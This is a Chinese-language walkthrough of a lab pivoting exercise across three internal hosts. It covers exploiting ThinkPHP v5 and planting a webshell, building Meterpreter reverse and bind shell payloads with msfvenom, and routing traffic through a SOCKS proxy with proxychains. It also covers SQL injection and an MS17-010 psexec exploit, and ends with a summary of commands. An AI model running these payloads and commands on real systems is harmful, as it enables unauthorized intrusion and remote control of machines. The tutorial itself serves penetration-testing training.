注:遵守网络安全法,任何未经授权的渗透测试行为均属于违法行为
=====================================================
必要基础知识点:
1:什么时候采用代理技术?
代理主要解决⽹络连通性问题,例如内网1和内网2的通信问题
正向代理 or 反向代理
假如控制端是公⽹,被控是内⽹,直接去找在内⽹被控的是⽆法找到的。可以让被控端去找控制端(典型反代)
2:代理技术和隧道技术的区别?什么时候会用代理 or 隧道
隧道主要是解决流量分析⼯具,流量监控⼯具,防⽕墙相关过滤
案例分析:
网络架构:
架构分析:攻击IP 192.168.76.132
目标1:双网卡机器 192.168.76.148、192.168.22.129 linux机器
目标2:双网卡机器192.168.22.128/192.168.33.128 Windows机器
目标3:192.168.33.33 Windows机器
利用端口扫描工具 nmap /fscan等 扫描发现目标1机器开放80端口
攻击IP可以直接访问目标机器1,80端口:具体如下所示
访问http://192.168.76.148发现该网站是thinkphp框架,而且是V5版本,直接拿thinkphp漏洞利用工具,漏洞利用成功,
查看web路径,发现当下目录为/www/wwwroot/ThinkPHP/public
执行命令直接写入一句话木马echo ''至当前web目录
利用蚁剑连接webshell
分析:我们需要通过目标机器1 作为跳板去连接目标机器2
利用的方式有很多 可以通过CS,也可以通过MSF
这里 我们使用MSF生成linux木马(因为目标机器2 是linux机器)
同时攻击机kali 开启MSF监听
将生成的linux木马上传至目标机器1并执行
此时kali监听到目标机器1 192.168.76.148的连接。
在msf和cs上有⾃带的代理
信息收集,获取⽹卡信息,看是否有内⽹
除了.76外还有⼀张.22的⽹卡,现在⽆法与他连接
查看路由,看是否和他建⽴路由规则
当前路由为空,添加路由地址,再次查看路由
此刻,可以和192.168.22.0/24网段进⾏通信,但只能在msf会话上操作,也就是目前这个连通仅仅是存在MSF 中?无法完成攻击
因为很简单 MSF不可能有你想要的所有功能或者工具,这个时候需要从MSF跳出来利用Kali上的工具,再或者利用个人PC Windows机器完成对目标机器2的访问进而实施攻击
⽆法攻击。我们可以使⽤msf在本地开启代理 设置参数 srvport
利用代理工具进行扫描:执行命令 proxychains4 nmap -sT -Pn 192.168.22.128
扫描发现192.168.22.128开放80端口,但是存在问题我们在这里是无法通过浏览器访问,需要配置浏览器访问代理,直接选择SocksV4
访问192.168.22.128 80端口
查看源码 发现存在SQL注入点
根据源码中的SQL注入点 进行SQL注入攻击,得到密码账户
扫描目录,通过robots.txt得到登录地址,登录后台
可以通过后台功能得到Webshell,可以往里面写入Webshell,同时观察网站URL 查找规律
用工具连接后门,推荐蚁剑,主要是因为蚁剑支持代理功能
连接成功
也可以使⽤Proxifier全局代理⼯具,
还有SocksCap64进程代理⼯具。
加载代理,然后将需要代理的程序 在代理隧道中允许
使⽤msf⽣成正向后⻔绑定本机3333端⼝,然后再去寻找⽬标机
将⽊⻢通过websell上传⾄⽬标主机,msf监听
目标执行木马,MSF上线
得到⽹络环境,添加路由
此时仅仅还是停留在MSF,我们需要通过代理执行漏洞扫描 (如何添加代理 ?重复之前的操作即可
nmap --script=all
发现目标机器3存在MS17010漏洞,
执行命令:
proxychains4 nmap -Pn -sT 192.168.33.33
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
exploit
shell
dir /S flag.txt /B
====执行命令汇总========================
1:生成linux木马命令
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132 LPORT=1111 -F elf >t1.elf
2:如何在MSF设置监听
use exploit /multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.76.132
set lport 1111
exploit/run
3:信息收集及配置访问(meterpreter中)
获取网络接口: run get_local_subnets
查看路由地址: run autoroute -p
添加路由地址:run autoroute -s 192.168.22.0/24
开启本地代理:use auxiliary/server/socks4a
set srvport 2222
exploit
4.利用本地代理接口访问测试
设置浏览器代理进行访问测试
linux
配置proxychains etc/proxychains.conf
socks4 192.168.76.132 2222
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80
Windows 使用代理工具Proxifier或SocksCap64载入代理进行进程访问测试
利用web漏洞SQL注入获取后台权限,进而获取webshell权限 获取flag
生成正向后门
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf
设置监听
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set lhost 192.168.22.128
set lport 3333
exploit